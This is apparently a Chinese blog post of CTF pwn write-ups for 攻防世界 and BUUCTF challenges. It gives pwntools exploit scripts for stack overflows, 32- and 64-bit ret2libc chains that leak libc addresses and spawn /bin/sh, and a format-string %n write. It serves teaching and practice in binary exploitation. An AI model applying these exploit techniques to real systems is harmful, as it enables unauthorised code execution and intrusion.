• Pwn_WP(动态更新)


    题解/Write Up

    攻防世界

    level0

    #exp:
    from pwn import *
    r = remote("111.198.29.45", 34012)
    payload = 'A' * 0x88 + p64(0x00400596).decode("iso-8859-1")
    r.recvuntil("Hello, World\n")
    r.sendline(payload)
    r.interactive()  
    

    注意 .decode("iso-8859-1"),否则在python3环境下会报错。

    根据IDA中信息,通过输入溢出覆盖到callsystem函数的地址即可解出。 ls cat得到flag

    image-20220306173030734.png

    image-20220306173116974.png

    image-20220306174933382.png

    level2

    当re2libc在32位下的例题了

    上灯神的EXP

    #!/usr/bin/env python3
    from pwn import*
    context(os="linux",arch="i386",log_level="debug")
    content=1
    #elf
    elf=ELF("level3")
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    main_addr=elf.symbols['main']
    #libc
    #这里直接得知了libc的版本号,如果不知道libc的版本号,或许可以用已经泄露的地址来找找libc的版本号。
    lib=ELF('libc_32.so.6')
    lib_write_addr=lib.symbols['write']
    lib_system_addr=lib.symbols['system']
    lib_binsh_addr=next(lib.search(b'/bin/sh'))
    def main():
    if content==0:
    io=process("./level3")
    else:
    io=remote("111.200.241.243",34633)
    #leak_payload 用flat()和直接"+"拼接一样,注意拼接有严格顺序
    payload=flat([b'a'*(0x88+4),p32(write_plt),p32(main_addr),p32(1),p32(write_got),p32(4)])
    #对payload的解释:
    #栈溢出,write_plt地址,返回地址(覆写为main的地址以重复程序运行),write函数的三个参数
    #p32(1),p32(write_got),p32(4)均是write的三个参数
    #write函数:
    #函数定义:ssize_t write (int fd, const void * buf, size_t count); 
    #函数说明:write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。
    #返回值:如果顺利write()会返回实际写入的字节数(len)。当有错误发生时则返回-1,错误代码存入errno中。
    
    #leak
    io.sendlineafter("Input:\n",payload)
    write_addr=u32(io.recv()[0:4])
    #addr_count
    libcbase=write_addr-lib_write_addr#偏移
    system_addr=libcbase+lib_system_addr
    binsh_addr=libcbase+lib_binsh_addr
    #get_shell_payload
    payload=flat([b'a'*(0x88+4),p32(system_addr),b'aaaa',p32(binsh_addr)])
    #溢出,覆写system地址,返回地址,传入参数
    #由于调用到system地址就已经完成pwn攻击了,所以返回地址随便写一下就行了
    #getshell
    io.sendlineafter("Input:\n", payload)
    io.interactive()
    main()
    

    如果题目不告诉libc的版本号,可以试着调用[Libcsearcher]。

    当然,可以和灯神一样去下载对应的libc文件

    补充知识:

    x86,32位程序调用函数所使用的参数都在栈中,栈中从高地址到低地址顺序是“调用的函数地址,返回的函数地
    址,调用函数的参数1,参数2,参数3.....

    但对于x64:

    64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中 。

    Buu

    test_your_nc1

    nc:全称netcat,其主要用途是建立监听任意TCP和[UDP]连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。

    image-20220306171350816.png

    根据靶机信息

    nc node4.buuoj.cn 25288

    cat flag 得出答案。

    rip

    checksec,几乎没什么开启的保护。

    拖入ida进行分析,F5反编译,看到是gets输入溢出。在函数目录中,fun函数直接调用了binsh。可以通过gets溢出覆写返回地址调用fun函数获得shell。

    image-20220306173252515

    image-20220306172831449.png

    image-20220306174909144.png

    exp:

    from pwn import*
    r=remote("node4.buuoj.cn",27874)
    payload = 'A' * 0x0F + 'a' * 0x8 +p64(0x00401186+1).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    存在一个和攻防世界不同的问题,这里payload的p64里有+1。据说是因为sys函数的0x10对齐问题,存在于ubuntu18以上的系统环境。

    详细:

    https://www.toutiao.com/i7053693034252223006/?wid=1646570061031

    **在询问后,得知了一种跑本地以调用gdb的方法

    将wp改写成如下形式

    from pwn import*
    #r=remote("node4.buuoj.cn",29442)
    r=process("./pwn1")
    #payload=('A'*0x88)+p64(0x00400596)
    #r.recvuntil("Hello,World\n")
    gdb.attach(r)
    sleep(1)
    payload = 'A' * 0x0F + 'a' * 0x8 + p64(0x00401186).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    本地调用后,发现如果不加1,会发生如下错误

    X1E`__@63YEFA_P__GFQAG7.png

    warmup_csaw_2016

    chekseck 没开什么保护

    image-20220306202022676.png

    image-20220306202214235.png

    image-20220306212855758

    基本和上题区别不大,这次为避免对齐问题,直接打到 cat flag.txt的地址。

    exp:

    from pwn import*
    r=remote("node4.buuoj.cn",25594)
    payload = 'A' * 0x40 + 'a' * 0x8 + p64(0x00400611).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    运行即可看到Flag

    ciscn_2019_n_1

    checksec ,基本无保护

    exp:

    from pwn import*
    r=remote("node4.buuoj.cn",26060)
    #r=process("./pwn1")
    #payload=('A'*0x88)+p64(0x00400596)
    #r.recvuntil("Hello,World\n")
    #gdb.attach(r)
    #sleep(1)
    payload = 'A' * 0x2c  + p64(0x41348000).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    看小数点进制转换的小技巧:可以在ida 源文件判断行查看

    image-20220306221418138.png

    即可看到flag

    pwn1_sctf_2016

    checksec ,开启了NX保护,甚至是个32位程序。

    image-20220307094234259.png

    NX:可读处不可写,可写处不可读。

    image-20220307112719038

    image-20220307112728598.png

    3c(60)的容量,只可以输入32大小的数据。但函数有一个替换功能

    会将所有的I 转换为 you

    那么若输入20个I,则会被替换成60个字符,造成数据溢出。

    溢出至get_flag地址,即可解题。

    image-20220307113203258.png

    exp:

    from pwn import*
    r=remote("node4.buuoj.cn",26929)
    payload = 'I' * 0x14+'a'*0x04 + p32(0x08048F13).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    注意:32位程序,将p64改成p32使用。

    //sublime

    jarvisoj_level0

    和攻防世界level0是一道题。

    ciscn_2019_c_1,64位re2libc例题

    re2libc在64位下的样题。

    5_T05FFA92__H4K~_L0XM32.png

    IDA看到伪代码,溢出漏洞出现在encrypt加密函数上。

    这道题普及了 strlen的绕过方法(虽然对这道题似乎没什么用),即将strlen的参数改为以\x00开头,因为strlen的计算截止到/0

    ~2VPOA92_OT3GZ`RWGR_T2A.png

    因为没有system函数的调用,我们需要泄露一个函数的地址来进行re2libc。在64位环境下,我们需要操作寄存器来进行控制。

    利用ROPgadget找到pop对应地址

    要注意的是在x64,64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中

    ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
    

    G0_~90Q_NJ__Q9LO_I__P0E.png

    附上灯神的代码

    #!/usr/bin/env python3
    from pwn import*
    context(os="linux",arch="amd64",log_level="debug")
    content=1
    #elf
    elf=ELF('ciscn_2019_c_1')
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    main_addr=0x0400B28
    pop_ret=0x0400c83 #pop rdi ;ret
    ret = 0x4006b9
    #libc
    libc=ELF('libc-2.27.so')
    puts_libc=libc.symbols['puts']
    system_libc=libc.symbols['system']
    binsh_libc=next(libc.search(b'/bin/sh'))
    def main():
    if content==0:
    io=process("./ciscn_2019_c_1")
    else:
    io=remote("node3.buuoj.cn",28749)
    #leak_payload
    payload=b'a'*
    (0x50+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    #leak
    io.sendlineafter("Input your choice!\n", '1')
    io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    io.recvuntil("Ciphertext\n")
    io.recvline()
    #recive
    puts_addr=io.recv(7)[:-1]
    #x64中地址为12位(8+8-4重叠4位,类比x86中地址4+4-2)6个字节,加上换行1字节,再用切片截出
    地址
    #print(puts_addr)
    #print(puts_addr.ljust(8,b'\x00'))
    puts_addr=u64(puts_addr.ljust(8,b'\x00'))
    #填充为8字节栈对齐,注意要先填充再u64解包
    #print(puts_addr)
    #addr_count
    libcbase=puts_addr-puts_libc
    system_addr=libcbase+system_libc
    binsh_addr=libcbase+binsh_libc
    #getshell_payload
    payload=b'a'*(0x50+8)+p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr)
    #getshell
    io.sendlineafter("Input your choice!\n", '1')
    io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    io.recv()
    io.interactive()
    main()
    

    但是 由于我迫不及待的想试一试LibcSearcher,于是改了一下灯神的代码。在使用中,遇到了多个版本,经过测试,选1。

    X55_TV__@@_Q__J_4B690HD.png

    #!/usr/bin/env python3
    from pwn import*
    from LibcSearcher import*
    context(os="linux",arch="amd64",log_level="debug")
    content=1
    #elf
    elf=ELF('ciscn_2019_c_1')
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    main_addr=0x0400B28
    pop_ret=0x0400c83 #pop rdi ;ret
    ret = 0x4006b9
    if content==0:
    	io=process("./ciscn_2019_c_1")
    else:
    	io=remote("node4.buuoj.cn",26072)
    #leak_payload
    payload='A'*(0x50+8)+(p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)).decode("iso-8859-1")
    
    #leak
    io.sendlineafter("Input your choice!\n", '1')
    io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    io.recvuntil("Ciphertext\n")
    io.recvline()
    #recive
    puts_addr=io.recv(7)[:-1]
    #x64中地址为12位(8+8-4重叠4位,类比x86中地址4+4-2)6个字节,加上换行1字节,再用切片截出地址
    #print(puts_addr)
    #print(puts_addr.ljust(8,b'\x00'))
    puts_addr=u64(puts_addr.ljust(8,b'\x00'))
    #填充为8字节栈对齐,注意要先填充再u64解包
    #print(puts_addr)
    #libc
    #libc=ELF('libc-2.27.so')
    libc=LibcSearcher("puts",puts_addr)
    puts_libc=libc.dump("puts")
    system_libc=libc.dump("system")
    binsh_libc=libc.dump("str_bin_sh")
    #puts_libc=libc.symbols['puts']
    #system_libc=libc.symbols['system']
    #binsh_libc=next(libc.search(b'/bin/sh'))
    #addr_count
    libcbase=puts_addr-puts_libc
    system_addr=libcbase+system_libc
    binsh_addr=libcbase+binsh_libc
    #getshell_payload
    payload='A' *(0x50+8)+(p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr)).decode("iso-8859-1")
    #payload:栈溢出,对齐,写入ret给
    #getshell
    #.decode("iso-8859-1")
    io.sendlineafter("Input your choice!\n", '1')
    io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    io.recv()
    io.interactive()
    

    [OGeek2019]babyrop

    re2libc

    https://www.cnblogs.com/zhwer/p/13380122.html

    from pwn import *
    from LibcSearcher import *
    
    
    io = remote('node4.buuoj.cn', '28084')
    elf = ELF('./pwn2')
    main_addr = 0x08048825
    write_plt = elf.plt['write']
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    
    payload1 = '\x00' + '\xff'*7 # 最后一个 \xff 是有效的返回值
    io.sendline(payload1)
    io.recvuntil('Correct\n')
    payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt).decode("iso-8859-1") + p32(main_addr).decode("iso-8859-1") # 按部就班先返回到 main()
    payload2 += p32(1).decode("iso-8859-1") + p32(read_got).decode("iso-8859-1")+ p32(4).decode("iso-8859-1")
    
    io.sendline(payload2)
    # 计算各函数或字符串的真实地址
    read_addr = u32(io.recv(4))
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system') 
    binsh = libc_base + libc.dump('str_bin_sh')
    
    io.sendline(payload1)
    io.recvuntil('Correct\n')
    payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr).decode("iso-8859-1") + p32(23).decode("iso-8859-1") + p32(binsh).decode("iso-8859-1")
    io.sendline(payload3)
    io.interactive()
    

    经测试,选2

    [第五空间2019 决赛]PWN5

    S6C3_SD_NO7`B_GGD_2WUDU.png

    Canary 打开了,程序是32位的。

    x后来发现是道格式化字符串漏洞的题

    from pwn import*
    r=remote("node4.buuoj.cn",27677)
    targetadd=0x804c044
    payload=p32(targetadd).decode("iso-8859-1")+'%10$n'
    r.sendline(payload)
    r.sendline(str(4))
    r.interactive()
    

    _HXYD__8GL_2_N6MKSEJT7H.png

    看题目来说,在printf(buf)处存在漏洞。我们可以试着输入“AAAA”来查看我们的偏移位置,然后入栈dword_804c044的目标地址,根据偏移利用%n进行改写数据。在第二次询问密码的时候输入数据即可。

    dword_804c044的地址是0x804c044,大小4个字节。所以写入的值应该为4。

    则只需要在询问密码时,发送4便可get shell

    那么如何查看偏移:

    漏洞发生处的地址

    N04_GO_6__J_LILS6W@_XWG.png

    0_V__7IT8OD8DN~7L7JVM3N.png

    在漏洞发生出下断点,查看栈情况

    _9_JV3ILII_J_KH_ZM_E878.png

    可以看到偏移位置为10。

    另外,在查阅wp的时候,似乎看到了一个好用的工具:fmtstr_payload

    后续再做了解。

    ciscn_2019_n_8

    checksec一下

    J_LT@PLT_`E0GPFI1GHKA.png

     var[13] = 0;
      var[14] = 0;
      init();
      puts("What's your name?");
      __isoc99_scanf("%s", var, v4, v5);
      if ( *(_QWORD *)&var[13] )
      {
        if ( *(_QWORD *)&var[13] == 17LL )
          system("/bin/sh");
        else
          printf(
            "something wrong! val is %d",
            var[0],
            var[1],
            var[2],
            var[3],
            var[4],
            var[5],
            var[6],
            var[7],
            var[8],
            var[9],
            var[10],
            var[11],
            var[12],
            var[13],
            var[14]);
      }
      else
      {
        printf("%s, Welcome!\n", var);
        puts("Try do something~");
      }
      return 0;
    }
    

    ?可能是想考能不能看懂代码吗

    from pwn import *
    
    r = remote('node4.buuoj.cn',27199)
    payload = 'a'*13*4+p64(17).decode("iso-8859-1")
    
    r.sendline(payload)
    r.interac
    tive()
    

    jarvisoj_level2

    checksec ,32位仅开NX

    IDA一眼栈溢出

    Ida alt+t搜一下Binsh

    exp:

    from pwn import *
    
    r = remote('node4.buuoj.cn',27664)
    sys_addr=0x8048320
    bin_sh_addr=0x0804A024
    
    payload = 'a'*(0x88+4)+p32(sys_addr).decode("iso-8859-1")+'a'*4+p32(bin_sh_addr).decode("iso-8859-1")
    
    r.sendline(payload)
    r.interactive()
    

    bjdctf_2020_babystack

    from pwn import *
    
    r = remote('node4.buuoj.cn',25130)
    sys_addr=0x4006E6
    #bin_sh_addr=0x0804A024
    
    payload1='100'
    r.sendline(payload1)
    
    payload = 'a'*(0x10+8)+p64(sys_addr).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    一眼栈溢出,还给了后门函数。

    get_started_3dsctf_2016

    32位只有NX

    https://blog.csdn.net/A951860555/article/details/111030289

    from pwn import *
    
    r = remote('node4.buuoj.cn',25065)
    sys_addr=0x80489B8
    #bin_sh_addr=0x0804A024
    
    #payload1='100'
    #r.sendline(payload1)
    
    #payload = 'a'*(0x38)+p32(sys_addr).decode("iso-8859-1")
    
    payload = 'a'*(0x38) + p32(0x080489A0).decode("iso-8859-1") + p32(0x0804E6A0).decode("iso-8859-1")
    # a1 == 0x308CD64F   a2 == 0x195719D1
    payload += p32(0x308CD64F).decode("iso-8859-1") + p32(0x195719D1).decode("iso-8859-1")
    
    r.sendline(payload)
    r.interactive()
    

    一步一步学Rop之Linux64_level5

    首先Checksec,64位程序

    ciscn_2019_en_2

    简单re2libc,带一个绕过strlen

    from pwn import *
    from LibcSearcher import*
    #io = remote('node4.buuoj.cn',27666)
    io=process("./ciscn_2019_en_2")
    elf=ELF('ciscn_2019_en_2')
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    ret=0x00000000004006b9
    pop_ret=0x0000000000400c83
    encrypt_addr=0x004009A0
    io.sendlineafter('choice!\n','1')
    payload=b'\0'+b'a'*0x4F+b'a'*8+(p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr))
    io.sendlineafter('encrypted\n', payload)
    #io.recvuntil('encrypted\n')
    io.recvline()
    io.recvline()
    
    #puts_addr=io.recv(7)[:-1]
    #puts_addr=u64(puts_addr.ljust(8,b'\x00'))
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    #print('%#x'%puts_addr)
    #print hex(puts_addr)
    libc=LibcSearcher("puts",puts_addr)
    puts_libc=libc.dump("puts")
    system_libc=libc.dump("system")
    binsh_libc=libc.dump("str_bin_sh")
    libcbase=puts_addr-puts_libc
    system_addr=libcbase+system_libc
    binsh_addr=libcbase+binsh_libc
    payload=b'\0'+b'a'*0x4F+b'a'*8+(p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr))
    io.sendlineafter('encrypted\n',payload)
    #io.sendline(payload)
    io.interactive()
    
    
    #ROPgadget--binary ./ciscn_2019_en_2 --only"pop|ret"
    #ROPgadget --binary ciscn_2019_en_2 --only 'pop|ret'
    
  • 相关阅读:
    解决 'mvn' 不是内部或外部命令,也不是可运行的程序 或批处理文件。
    关于IDEA的Maven打jar包springboot项目问题,打成可执行jar包,IDEA创建的maven项目和spring initializr项目
    Flink接收RabbitMQ数据写入到Oracle
    操作MongoDB好用的图形化工具,Robomongo -> 下载 -> 安装
    PL/SQL Developer -> 下载 -> 安装 ->执行SQL -> 设置本地/远程连接
    MongoDB学习笔记,基础+增删改查+索引+聚合...
    SpringBoot整合MongoDB JPA,测试MongoRepository与MongoTemplate用法,简单增删改查+高级聚合
    Elasticsearch没看文档之前,整理的一些知识
    Elasticsearch中文文档,内容不全
    Elasticsearch 7.4.0官方文档操作
  • 原文地址:https://www.cnblogs.com/Uninstalllingyi/p/16207563.html
Copyright © 2020-2023  润新知